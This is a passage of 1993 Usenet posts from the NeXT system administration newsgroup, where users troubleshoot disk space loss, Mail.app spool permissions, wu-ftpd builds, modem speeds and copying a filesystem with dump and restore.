From: rse8135@dewie.tamu.edu (R.S. Etheredge) Newsgroups: comp.sys.next.sysadmin Subject: multiple copies of post Date: 22 Apr 1993 18:56:02 GMT Organization: Texas A&M University, College Station, TX Message-ID: <1r6po2INNjtq@tamsun.tamu.edu> Howdee, There seem to be more than the one post I wanted sent to this listserv. As I would punch the post button, an error message would come up that tells me error on post; post failed; ok. So I would poke ok and try to resend the post. The posts obviously, all of them, posted. I offer my apologies, and now seek advice on how to fix this problem. Thanks for the attention, and have a happy day... Rusty Etheredge rse8135@dewie.tamu.edu
Newsgroups: comp.sys.next.sysadmin From: benk@ie1next.me.umn.edu (Benjamin Koo) Subject: Harddisk problems (originally:Mysterious loss of harddrive space) Message-ID: <C5wJMH.FKC@news2.cis.umn.edu> Sender: news@news2.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Date: Thu, 22 Apr 1993 20:30:15 GMT Hello: Thanks for all who had replied to me. I found that the problem is not private/vm/swapfile nor /tmp files. The problem remains. My HD space is down from 105 to 85, 65, and 59MB. I doubt that might be a hardware problem. Is there any other suggestions. Thanks Ben
From: glenn@rightbrain.com (Glenn Reid) Newsgroups: comp.sys.next.sysadmin Subject: Re: Harddisk problems (originally:Mysterious loss of harddrive space) Message-ID: <1194@rtbrain.rightbrain.com> Date: 23 Apr 93 05:49:07 GMT References: <C5wJMH.FKC@news2.cis.umn.edu> Sender: glenn@rightbrain.com Benjamin Koo writes > Hello: > Thanks for all who had replied to me. I found that the problem is > not private/vm/swapfile nor /tmp files. The problem remains. My HD space > is down from 105 to 85, 65, and 59MB. I doubt that might be a hardware > problem. Is there any other suggestions. 1. Check /usr/adm/messages 2. Check your Mailboxes folders (compact each one, command-k, if you haven't already) 2. Log in as root, open Terminal, and type: du / | sort -nr > /du.out Then open the file du.out with Edit and take a look. It will show you the disk use of all your directories sorted with the largest at the top. You'll probably see something weird in there somewhere. -- Glenn Reid NeXTmail: glenn@rightbrain.com RightBrain Software 415-326-2974 (NeXTfax 326-2977) Palo Alto, California Electronic Frontier Foundation, member #054
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Read/Write a direct connect Mac HFS Hard Drive Message-ID: <1993Apr23.063119.29698@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1993Apr19.184354.15392@magnus.acs.ohio-state.edu> References: <1993Apr19.184354.15392@magnus.acs.ohio-state.edu> Date: Fri, 23 Apr 1993 06:31:19 GMT In article <1993Apr19.204827.5332@news.uta.edu> phil@news.uta.edu (Patrick Phillips) writes: > Version 3.0 will read >mac disks, but complete ignores the resource fork of the file. This >can be a very large problem depending on what you want to do with >the hard disk after you connect it to your NeXT. This is not correct. There are *three* parts to Mac files: the resource and data parts, and the finder information. It's the latter part that isn't accessible--the part that contains the Macintosh file type and creator. Hopefully NeXT will support a .#info# hack in some future release (hint, hint). -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: bav@bergen.siodata.no (Bjorn Asle Valde) Subject: Thanks! (was: Re: Fetching mail with mail.app) Message-ID: <1993Apr23.095511.12796@alf.uib.no> Sender: usenet@alf.uib.no (Bergen University Newsaccount) Organization: University of Bergen, Norway References: <1993Apr22.224447.1489@insight.com> Date: Fri, 23 Apr 93 09:55:11 GMT In article <1993Apr22.224447.1489@insight.com> ted@insight.com (Ted Slupesky) writes: > In article <1r6lrb$1id@hermes.athena.com> dpp@athena.com (David Pollak) > writes: > > > > This is a NeXTMail bug. The /usr/spool/mail *DIRECTORY* must be world > > read/write/execute. > > > > But you can set the sticky bit, which helps. Good suggestion. 1777 it shall be. > > -- > Ted Slupesky (ted@insight.com) > Insight Software Indeed, that's it. Thanks to: dpp@athena.com (David Pollak) phil@news.uta.edu (Patrick Phillips) Ted Slupesky (ted@insight.com) Comming to think of it, I now remember that I first saw this bug - repeat bug - a couple of years ago, which means it must at least have been NXSTEP < 3. I even got help from ask_next to sort it out, which means they know about it. (Actually, it must have popped up a lot of times). An it's not fixed... Sigh So long, and thanks for all the fish Mvh, -bav -- Bjorn Asle Valde - SiO Data Bergen, Christiesgt.13, N-5015 Bergen, Norway. Email: valde@bergen.siodata.no Phones: +47-5-320240 Fax: +47-5-320238
Newsgroups: comp.sys.next.sysadmin From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: Fetching mail with mail.app Message-ID: <1993Apr21.235018.7184@seer.demon.co.uk> Sender: paul@seer.demon.co.uk Organization: P & L Systems References: <1993Apr21.192950.29154@alf.uib.no> Date: Wed, 21 Apr 1993 23:50:18 GMT In article <1993Apr21.192950.29154@alf.uib.no> bav@bergen.siodata.no (Bjorn Asle Valde) writes: > > I recently changed my mail-drop directory from on-local-disk > to an nfs-mounted directory. mail is received locally ok, I > can send out-going mail and the permissions/ownership on > the files in /usr/spool/mail seems ok. I can read my mail > with elm/mail/whatever, but Mail.app doesn't realize that > new mail has arrived. Doing "Get new mail" changes nothing. Mail needs to be able to write in /usr/spool/mail before it will read mail. That is usually the problem. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 paull@cix.compulink.co.uk Fax: (0494)680228 76711.451@compuserve.com
Newsgroups: comp.sys.next.sysadmin From: jpowell@borg.lib.vt.edu (James Powell) Subject: wu-ftpd-2.0 Message-ID: <1993Apr23.130159.13806@ecsvax.uncecs.edu> Sender: usenet@ecsvax.uncecs.edu (News Administrator) Organization: UNC Educational Computing Service Date: Fri, 23 Apr 1993 13:01:59 GMT Has anyone successfully built wu-ftpd-2.0 on a NeXT running 3.0? It claims to build on such a system, but build nx3 fails. I can tell they made an effort to support Nexts, and the build application seems to make the links to the correct config and makefile, but then it still tries to include files it shouldn't when it builds, plus it has some other problems with headers it does find. I've tried to side step this build thing and build it "by hand" but I'm stuck. So any help would be appreciated. -- James Powell >>> Library Automation, University Libraries, VPI&SU >>> JPOWELL@VTVM1.CC.VT.EDU >>> jpowell@borg.lib.vt.edu - NeXTMail welcome here >>> Owner of VPIEJ-L, a discussion list for Electronic >>> Journals
From: nevai@mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: How is the best to mount an OpticalDisk? Date: 23 Apr 1993 13:57:07 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1r8sjj$93m@function.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu I always mount my OpticalDisk (/OD) via rlogin and use the "mount" command. Can you tell me what is the best way to do it? here are two option; both work. I am looking for the (close to the) BEST solution. % mount /dev/od0a on /OD type 4.3 \ (rw,hard,intr,timeout=20,retrans=8,rsize=4096,wsize=4096,noquota) /dev/od0a on /OD type 4.3 (rw,noquota,removable) Please respond by email. Thanks. Take care...Paul Paul Nevai nevai@mps.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin From: Karl_Kraft@ensuing.com (Karl Kraft) Subject: Re: Fetching mail with mail.app Message-ID: <C5x4oK.1p4@ensuing.com> Sender: karl@ensuing.com (Karl Kraft) Organization: Ensuing Technologies Inc. References: <1993Apr22.175412.7807@news.uta.edu> Date: Fri, 23 Apr 1993 04:05:07 GMT In article <1993Apr22.175412.7807@news.uta.edu> phil@news.uta.edu (Patrick Phillips) writes: > >I just discovered this problem yesterday. Trying to tighten-up the >security problems reported by cops, I changed the mode of >/usr/spool/mail from 777 to 755. The default permission on /usr/spool/mail is NOT 777 it is 1777. Changing the permission on /usr/spool/mail from 1777 to 777 will create a REAL security whole. >To me this is stupid, it should just >copy the mail out and zero out the file One word: lockfile Think about what would happen if mail was appeneded between the time you copied the information out, and then zero'ed out the file. You would trash mail and never know it had happened. Having mail copy and then zero the file would be a bad idea. In order to be able to write the lock file, /usr/spool/mail needs to be writeable. Of course NeXT could have made Mail.app set-uid. That would be even less brilliant. -- __________ Karl Kraft karl@ensuing.com (NeXT mail)
Newsgroups: comp.sys.next.sysadmin From: piak@sics.se (Per Kreuger) Subject: NeXT CD-rom drive in a mac Message-ID: <1993Apr23.151731.6036@sics.se> Sender: news@sics.se Organization: Swedish Institute of Computer Science, Kista Date: Fri, 23 Apr 1993 15:17:31 GMT Hi. I has anyone managed to get a Mac to mount a CD on a NeXT CD-rom drive? -- Per Kreuger (NeXTMail welcome) SICS, PO Box 1263, S-164 28 KISTA, Sweden Internet: piak@sics.se Tel: +46 8 752 15 22 Ttx: 812 6154 7045 SICS Fax: +46 8 751 72 30
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: Mysterious loss of harddrive space Message-ID: <1993Apr23.160127.18241@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <C5v6BK.9y2@news.cis.umn.edu> Date: Fri, 23 Apr 1993 16:01:27 GMT Benjamin Koo (benk@ie1next.me.umn.edu) wrote: : Hello: : My harddrive is being drained by certain process drastically. The : disk space left is constantly shrinking/expanding. I checked all the user : processes. There is one process that has been running using nroff for 600 : minunts. I checked the data file it generates, it is less than 10k. I : also checked the /tmp directory. I could not find any temporary files : that is being generated. Where can I check to find out the leakage of the : HD space? 1. Sort creates files in /usr/tmp. If you run updatedb so that you can use fast find this can gobble up space. (If you don't have enough free space, sort dies, and leaves it's tmp files hanging around.) 2. Check /usr/spool/appkit. These are files heading for the printer. If the machine dies they are never cleared. 3. Monitor the size of /private/vm/swapfile Hope this helps. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: Scan SCSI device after boot Message-ID: <1993Apr23.170458.21784@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Apr20.231231.5359@ads.com> Date: Fri, 23 Apr 1993 17:04:58 GMT Bill Vrotney (bvrotney@ADS.COM) wrote: : : What is the easiest way to have a NeXTstation recognize a SCSI device that : is turned on AFTER the system is booted? Ie. it recognizes the device when : the system is booted but if the device is turned off when system is booted : it does not know about the device, and thus the problem is how to make it : recognize the device AFTER the system has already been running. : With tapes and disks you can't. If its not there when the system is booted, it's not there until it's rebooted. We have a scanner that does something wonderful with the SCSI termination, and it doesn't matter if its on or off. However, this is not a device in the usual unix sense, and it's software writes directly to the scsi bus instead of working through a device driver. This is unusual. Often if you turn off a SCSI device, but leave it connected, it would screw up the bus for any other activity. It would be useful if Next had an program that would do this: PauseSCSI Hit any key to continue The window manager would lock, keeping that window in forefront. You could disconnect/reconnect stuff without worrying that a disk sync would attempt to take place while you were removeing the terminator... After you would hit any key, and the machine would carry on, and rescan the SCSI bus for new/removed devices. Note: You can remove a device this way by hitting command command ~, doing surgery, then typing continue. But the status is not upgraded, and the Next will complain if you try to access the missing device. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
From: rse8135@dewie.tamu.edu (R.S. Etheredge) Newsgroups: comp.sys.next.sysadmin Subject: Re: NeXT CD-ROM drive and a PC Date: 23 Apr 1993 17:34:27 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1r99b3INNibl@tamsun.tamu.edu> References: <1r33i1INN5e4@flop.ENGR.ORST.EDU> Keywords: NeXT, CD-ROM, pc, SCSI In article <1r33i1INN5e4@flop.ENGR.ORST.EDU> rhoadse@prism.CS.ORST.EDU (E. Robert Rhoads) writes: > What I was thinking of doing was taking a 386 PC slap > an Adaptec SCSI card into it and load BSDI's BSD/386 > via the NeXT (SCSI) CD-ROM drive. This sounds good, > but I don't know if it will work in practice. Howdee Robert, We are gonna do the same thing. The Sony CD-ROM is model number 541, and Sony builds an interface kit for a model 541 CD-ROM drive. The problem with this $90.00 solution is that Sony specs call for this drive to be an internal drive. As you know, the drive you have on your NeXT is external. Some of the local distributors have queried Sony concerning this for me, and Sony engineer was to have called me and given me the straight skinny. But, I don't think that there are any Sony engineers near this earth. That notwithstanding, I am informed by many local distributors that the Adaptec solution will suffice. Be of good cheer, and have a happy day... Rusty Etheredge rse8135@dewie.tamu.edu
Newsgroups: comp.sys.next.sysadmin From: root@azetsys.uucp (Operator) Subject: MicroPhone-Pro lock-up SOLVED Message-ID: <1993Apr23.175352.449@azetsys.uucp> Organization: CleverLever Date: Fri, 23 Apr 1993 17:53:52 GMT Hi, Finaly solved the riddle: why MicroPhone-Pro locks-up my NeXT? The culprit was the "MIDI-LINK+" MIDI-interface, wich was connected to the other serial port, once I removed it, everything worked fine, I was able to log on to Compuserve download a file as a test via my Telebit2500 modem, all this without reading a single line from the manuals, this attest to the easy operability of the program. I would like to thank all those who kindly responded to my plight via e-mail, thank you all. Geza.. azetsys!root@uunet.UU.NET
Newsgroups: comp.sys.next.sysadmin From: irving@Happy-Man.com (Irving_Wolfe) Subject: mh-6.8 for NextStep 3.0? Message-ID: <1993Apr23.180959.4184@Happy-Man.com> Organization: Happy Man Corp., Vashon Island, WA 98070-7399 Date: Fri, 23 Apr 1993 18:09:59 GMT Can anyone direct me to a set of mh-6.8 binaries for NextStep 3.0 on 68040 hardware, or, better yet, to the proper config files? I've been trying to do it myself and have gotten to the point of reasonably clean compiles but the inc program dumped core, and this sort of manual configuration is a little beyond me because I just haven't done that much development work on the NeXT yet. Thanks! - Irving -- Irving_Wolfe@Happy-Man.com 206/463-9399 x101 fax 206/463-9255 Happy Man Corp. 4410 SW Pt. Robinson Rd., Vashon, WA 98070-7399 We publish SOLID VALUE for the intelligent investor. NextMail OK Info. packet free. Send POSTAL address: Solid-Value@Happy-Man.com
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail Subject: NeXT sendmail, NIS, and MX records? Message-ID: <8331@ucsbcsl.ucsb.edu> Date: 23 Apr 93 21:38:24 GMT Sender: root@ucsbcsl.ucsb.edu Followup-To: comp.sys.next.sysadmin Organization: Center for Computer Music Research and Composition, U.C.S.B. We have a network of five NeXTs and a Sparc, and the Sparc is the nameserver for our subdomain. I just got the following bounced mail (excerpt) from one of my NeXT users: ----- Transcript of session follows ----- 421 Host magnus.ohio-state.edu not found for mailer ddn. When I did an nslookup of this site's MX record, our nameserver returned with no answer until I set the namserver to "root" (ns.nic.ddn.mil). Then there was no trouble at all! First of all, I dont understand why our local nameserver wouldnt search on up to the root nameserver on its own when asked via nslookup. It does this (I think) for plenty of other sites which have only MX records. Should I assume this is the reason why this mail bounced, i.e., if nslookup cannot find an MX record without being prodded into "root" server mode, should I assume that sendmail will not be able to find it either? Given that this site *does* have an MX record out there, how can I make sure that sendmail can get to it? Thanks. -- Douglas Scott (805)893-8352 Center for Computer Music Research and Composition University of California, Santa Barbara Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
Newsgroups: comp.sys.next.sysadmin From: dmm0t@rincewind.mech.Virginia.EDU (David Meyer) Subject: Re: wu-ftpd-2.0 Message-ID: <C5yDJ5.5pE@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia References: <1993Apr23.130159.13806@ecsvax.uncecs.edu> Date: Fri, 23 Apr 1993 20:13:52 GMT In article <1993Apr23.130159.13806@ecsvax.uncecs.edu> jpowell@borg.lib.vt.edu (James Powell) writes: > Has anyone successfully built wu-ftpd-2.0 on a NeXT running 3.0? It > claims to build on such a system, but build nx3 fails. I can tell they > made an effort to support Nexts, and the build application seems to make > the links to the correct config and makefile, but then it still tries to > include files it shouldn't when it builds, plus it has some other problems > with headers it does find. I've tried to side step this build thing and > build it "by hand" but I'm stuck. So any help would be appreciated. Yes, NeXT support is a little bit weak. I got a patch from someone who fixed everything. There's an ftp site for it, but I don't remember where it is. You can find this patch on my machine at rincewind.mech.virginia.edu:/pub/next/wuftpd-patch.sh It compiled just fine. If you want to use tar and compress, remember that you have to have a copy of /usr/shlib/libsys_s.B.shlib in ~ftp/usr/shlib/libsys_s.B.shlib. (I just made a hard link, which is not quite right from a permissions standpoint, but is 800K smaller than copying it.). P.S. I'd like to thank, once again, the very kind person who originally sent me this patch. I'd give you a plug, but I don't have access to the patch right now. Dave -- David M. Meyer Mechanical & Aerospace Engineering dmm0t@rincewind.mech.virginia.edu University of Virginia NeXTmail ok
Newsgroups: comp.sys.next.sysadmin From: rnf@world.std.com (richard n fell) Subject: Can't get external to work as a boot drive Message-ID: <C5yn3D.22t@world.std.com> Organization: The World Public Access UNIX, Brookline, MA First of all thanks to all who replied to my previous post about Date: Fri, 23 Apr 1993 23:40:24 GMT how to copy a complete file system from one external drive to another. What I experienced is this. Using the gnutar commands, the file system, except for some very long titled files, was copied. Now, I want to boot off of the new drive. With the original external as target 1, the second external is target 2. So, in the rom monitor, I issue the command bsd(2,0,0) -a (Just as I usually do when I only have the original external mounted, with the 2 replaced by 1). The operating system will reply with root device? I enter sd2a. Unfortunately, the boot process would hang up. So, I managed to borrow a CD driver and re-installed 3.0 from the CD disc onto the new external. However, the system will still not boot from the external. I go through the same procedure as before (now with only the new external and the recently installed 3.0 connected) specify sd1a, etc and the boot hangs up at the point: Mounting remote file systems (or some such thing). Does anyone have any idea where I went wrong? I can still boot off of the original external but not the new one. Do I have to do a build disk? Of course, re-installing might imply that 3.0 was installed correctly in the first place and perhaps what I may have to do is do a complete installation using the installer app on the CD disc. Any help is greatly appreciated. This is just a bit frustrating. Thanks
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.sysadmin Subject: Re: wu-ftpd-2.0 Date: 24 Apr 1993 00:05:09 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <1ra07l$774@agate.berkeley.edu> References: <1993Apr23.130159.13806@ecsvax.uncecs.edu> In article <1993Apr23.130159.13806@ecsvax.uncecs.edu> jpowell@borg.lib.vt.edu (James Powell) writes: >Has anyone successfully built wu-ftpd-2.0 on a NeXT running 3.0? It > Are you referring to the error compiler not finding malloc.h file? I had to do in directory /usr/include/bsd, ln -s sys/malloc.h malloc.h After that, it successfully compiled. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: zmonster@athena.mit.edu (Eric M Hermanson) Newsgroups: comp.sys.next.sysadmin Subject: Configuring SUPRA Fax modem to fastest data possible Date: 24 Apr 1993 02:09:23 GMT Organization: Massachusetts Institute of Technology Distribution: world Message-ID: <1ra7gjINNqit@senator-bedfellow.MIT.EDU> I am trying to configure my v32.bis, v42.bis SUPRA fax modem to transfer data as fast as possible. However, it is taking on the order of 30 min to transfer half a meg of data, and this seems slow since the modem on the other end also handles v32.bis and v42.bis. I am using kermit as the transfer protocol. Can someone tell me what lines I need to add to either /etc/remote, /etc/ttys, and .kermrc to get up to 57600 baud with compression? Lastly, someone told me that the NeXT serial port is only 19200 baud. Is this true? If so, then is the 57,600 baud possible? Thanks, Eric
Newsgroups: comp.sys.next.sysadmin From: tlm@iastate.edu (Tom Marchioro) Subject: Re: Configuring SUPRA Fax modem to fastest data possible Message-ID: <tlm.735624828@scl1.al.iastate.edu> Sender: news@news.iastate.edu (USENET News System) Organization: Iowa State University, Ames IA References: <1ra7gjINNqit@senator-bedfellow.MIT.EDU> Date: Sat, 24 Apr 1993 04:13:48 GMT In <1ra7gjINNqit@senator-bedfellow.MIT.EDU> zmonster@athena.mit.edu (Eric M Hermanson) writes: >I am trying to configure my v32.bis, v42.bis SUPRA fax modem to transfer >data as fast as possible. However, it is taking on the order of 30 min to >transfer half a meg of data, and this seems slow since the modem on the other >end also handles v32.bis and v42.bis. Well, the supra has a very nice little digital readout that tells you what speed and compression are going at the moment. If you see 14.4 and then LP and then CD then that's the best you are going to do in terms of modem to modem connectivity. >I am using kermit as the transfer protocol. And as well all know that basically explains everything!! :) :) Kermit is *extremely* slow, particularly if the packet size is too small. I gave up on it completely and went to tip for a while, which was better, and now use SLIP, which is the best of all (particularly wiht SLIPcommander, which does backup for me, synchronizes my clock, fetches the mail, etc.). In SLIP at 14.4 a half Mb transfer will take a couple minutes tops. >Can someone tell me what lines I need to add to either /etc/remote, /etc/ttys, >and .kermrc to get up to 57600 baud with compression? >Lastly, someone told me that the NeXT serial port is only 19200 baud. Is this >true? If so, then is the 57,600 baud possible? It depends on which machine you have. If you have a 25 MHz slab then the serial port is only 38400 (grumble grumble....) and you cannot make full use of 14.4 V32bis (but remember, if you are transferring stuff that's already compress, i.e. .Z files, the additional compression characteristics of the modem don't help, you just get the 14.4). You have to add a line to the /etc/gettytab file to get the port to run at 38.4. The line is h|std.38400|38400-baud:\ :sp#38400: or some variation thereof. This is needed because the maximum given in the distributed OS is only 19.4. I also have the line ttyda "/usr/etc/getty D38400" unknown off in my /etc/ttys file. It's beena while since I worked through all of this, but I believe those are the only changes you need (no doubt someone will correct me if I'm wrong :) On a Turbo machine the port does run at 57.6 and you need to modify the above lines accordingly. So...it may be that you're only getting 19.4 on your throughput, but if you are transferring already compressed files that is not goin to slow you down in the slightest; instead, it's Kermit that makes things so slow. Switch to SLIP (my recommendation) or else go to tip and use zmodem etc. which Michal Tomczak- Jaegermann (sorry if I mis-spelled it Michal :) has been nice enough to maintain for the NeXT. Hope this Helps --- Tom
Newsgroups: comp.sys.next.sysadmin From: mark@xexos.com (Mark Chamberlain) Subject: Re: Attaching NeXTStation to ethernet Message-ID: <1993Apr21.213940.5219@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) References: <1993Apr21.134233.920@afs.com> Date: Wed, 21 Apr 1993 21:39:40 GMT In article <1993Apr21.134233.920@afs.com> jon@afs.com writes: > > My school has two lonely NeXTstation which, after almost two years, > have yet to be attached to the internet. > > This school year, they finally got some cable to them, but they > have not been set up to use the network yet. > > When booting, they say they cannot find the name server, and boot up without > a network connection. There is no netinfo server. These are the only two > NeXT's on campus. > > What exactly would I have to do to get them on the net? My guess is that I > will have to edit hostconfig, giving the machines a hostname and/or address. Yeah, or configure them for NIS which you might be running somewhere on the net. Easiest way is to assign them an IP address "manually" and edit the hostconfig files, or just run NetManager (or HostManager if its 3.0). -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
Newsgroups: comp.sys.next.sysadmin From: mark@xexos.com (Mark Chamberlain) Subject: Re: Fetching mail with mail.app Message-ID: <1993Apr21.214156.5291@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) References: <1993Apr21.192950.29154@alf.uib.no> Date: Wed, 21 Apr 1993 21:41:56 GMT In article <1993Apr21.192950.29154@alf.uib.no> bav@bergen.siodata.no (Bjorn Asle Valde) writes: > > I recently changed my mail-drop directory from on-local-disk > to an nfs-mounted directory. mail is received locally ok, I > can send out-going mail and the permissions/ownership on > the files in /usr/spool/mail seems ok. Most common cause is that your Mail.app preferences no longer point to the new mount point where mail is storied. If the NFS directory is mounted on /usr/spool/mail, then just verify your Expert preferences in Mail.app and all should go - if it doesn't, then I'm puzzled too. Permissioning is the usual source but if elm etc work... Otherwise, in Expert Preferences, set the correct value for SpoolDir, which should point to /Net/whateverhost/usr/spool/mail -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
Newsgroups: comp.sys.next.sysadmin From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: Fetching mail with mail.app Message-ID: <1993Apr23.095308.11018@seer.demon.co.uk> Sender: paul@seer.demon.co.uk Organization: P & L Systems References: <1993Apr21.214156.5291@xexos.com> Date: Fri, 23 Apr 1993 09:53:08 GMT In article <1993Apr21.214156.5291@xexos.com> mark@xexos.com (Mark Chamberlain) writes: > In article <1993Apr21.192950.29154@alf.uib.no> bav@bergen.siodata.no (Bjorn > Asle Valde) writes: > > > > I recently changed my mail-drop directory from on-local-disk > > to an nfs-mounted directory. mail is received locally ok, I > > can send out-going mail and the permissions/ownership on > > the files in /usr/spool/mail seems ok. > > Most common cause is that your Mail.app preferences no longer point to the new > mount point where mail is storied. If the NFS directory is mounted on > /usr/spool/mail, then just verify your Expert preferences in Mail.app and all > should go - if it doesn't, then I'm puzzled too. Permissioning is the usual > source but if elm etc work... > > Otherwise, in Expert Preferences, set the correct value for SpoolDir, which > should point to /Net/whateverhost/usr/spool/mail No, it is the permission on /usr/spool/mail, because of the quirk in Mail.app. Write permision is required. Setting the spool directory to /Net/mailhost/usr/spool/mail is a nasty kludge to get around this problem. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 paull@cix.compulink.co.uk Fax: (0494)680228 76711.451@compuserve.com
Newsgroups: comp.sys.next.sysadmin From: lytras@avalon.physik.unizh.ch (Apostolos Lytras) Subject: Re: Configuring SUPRA Fax modem to fastest data possible Message-ID: <1993Apr24.092105.24200@ifi.unizh.ch> Sender: news@ifi.unizh.ch (USENET News Admin) Organization: Informatik Club d. Universitaet, Zuerich References: <1ra7gjINNqit@senator-bedfellow.MIT.EDU> <tlm.735624828@scl1.al.iastate.edu> Date: Sat, 24 Apr 1993 09:21:05 GMT In article <tlm.735624828@scl1.al.iastate.edu> tlm@iastate.edu (Tom Marchioro) writes: => In <1ra7gjINNqit@senator-bedfellow.MIT.EDU> zmonster@athena.mit.edu (Eric M Hermanson) writes: => >I am using kermit as the transfer protocol. => And as well all know that basically explains everything!! :) :) => Kermit is *extremely* slow, particularly if the packet size is too => small. I gave up on it completely and went to tip for a while, which was => better, and now use SLIP, which is the best of all (particularly wiht => SLIPcommander, which does backup for me, synchronizes my clock, fetches the => mail, etc.). In SLIP at 14.4 a half Mb transfer will take a couple minutes => tops. => [...lots of useful comments deleted...] => instead, it's Kermit that makes things so slow. Switch to SLIP (my => recommendation) or else go to tip and use zmodem etc. which Michal Tomczak- => Jaegermann (sorry if I mis-spelled it Michal :) has been nice enough to => maintain for the NeXT. I absolutely agree that SLIP (or CSLIP or PPP) is superior to tip and kermit, but I feel that you're not right about kermit. I chose kermit, because I couldn't get a SLIP connection on our local network (no free IP addresses), and I find it more useful and no worse than tip. There are a few things to consider, though. First, you have to increase the packet size, which will speed things up considerably in normal transfers (get a version of kermit that supports real 'big' packet sizes). Then, you best install a recent version of Z-Modem (sz/rz) and add the following lines to .kermrc. define sz !sz -w 8192 -r \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 <\v(line) >\v(line) define rz !rz <\v(line) >\v(line) This will let you use sz/rz to transfer files from within kermit, which is probably no slower than 'tip' by then _AND_ is more useful (e.g. if you encounter a 'hanging' rlogin session you can abort it with ~. which in tip would break your connection). Hope this _helps_. - A. PS: My version of Kermit is 'C-Kermit 5A(182) BETA-4, 4 Jul 92, NeXT', get this or a newer version. Special thanks go to Daniel Kluge who initially showed me how to use Z-Modem in Kermit. -- /* Apostolos Lytras Internet: lytras@avalon.physik.unizh.ch * * PSI: PSI%47931149412::JAB DECnet: EZINFO::JAB * * X.400: S=JAB;OU=ezinfo;OU=vmsmail;O=ethz;PRMD=SWITCH;ADMD=ARCOM;C=CH */
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: Harddisk problems (originally: Mysterious loss of harddrive space) Message-ID: <1993Apr23.215405.8795@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <C5wJMH.FKC@news2.cis.umn.edu> Distribution: na Date: Fri, 23 Apr 1993 21:54:05 GMT In article <C5wJMH.FKC@news2.cis.umn.edu> benk@ie1next.me.umn.edu (Benjamin Koo) writes: > Hello: > Thanks for all who had replied to me. I found that the problem is > not private/vm/swapfile nor /tmp files. The problem remains. My HD space > is down from 105 to 85, 65, and 59MB. I doubt that might be a hardware > problem. Is there any other suggestions. Get and run DarkForest.app. I can NeXTmail you a copy if needed. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin From: serge@dadofsam.Princeton.EDU Subject: Re: copying file system from one external to another external Message-ID: <1993Apr23.203905.13799@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <C5wn8H.Fp7@world.std.com> Date: Fri, 23 Apr 1993 20:39:05 GMT In article <C5wn8H.Fp7@world.std.com> rnf@world.std.com (richard n fell) writes: > I wish to copy the entire file system from my current external drive > to a new external drive. The current external includes 3.0 and all my > apps. I am not sure what unix commands to use to do this most > efficiently. > I can use tar -cf - . | (cd /Destination subdirectory; tar > -xpf - ). The problem with this is that each directory in the root > system must be copied separately. Also, this command does not preserve > ownerships. I would like the copy on the new external to preserve the > current owenerships and permissions. In addition, when I applied the > above to /dev, none of the files were copied. > Is there some other way of doing this so that the entire file > system, as it exist on the original drive, can be copied to the new > external? I sent a reply via mail, then realized this might be of more general interest. The most common way to do this is with the "dump" and "restore" commands. These commands will retain file ownerships, permissions, etc. In the above case, assuming you want to copy the root file system, you would do the following: dump 0sf 999999 - / | (cd /Destimation; restore xf -) The "0sf" keys to dump tell it to take a level 0 (complete) dump of the "/" filesystem, and write it out to file "-", or standard out. The "999999" argument is a dummy file size which tells dump that it doesn't need to worry about prompting the user to mount multiple dump "tapes" (what dump was originally designed to dump to). The dump output is then piped to a "restore" command, whose key arguments (xf) tell it to restore from "-", or standard input. Note that, before doing this, you should run a newfs command on the TARGET file system to make sure it is clean (e.g., newfs /dev/rsd1a ... be REAL careful not to run this command on your source file system ... do a "df -t 4.3" to be sure you know exactly what devices hold which filesystems BEFORE you run the newfs command ... you 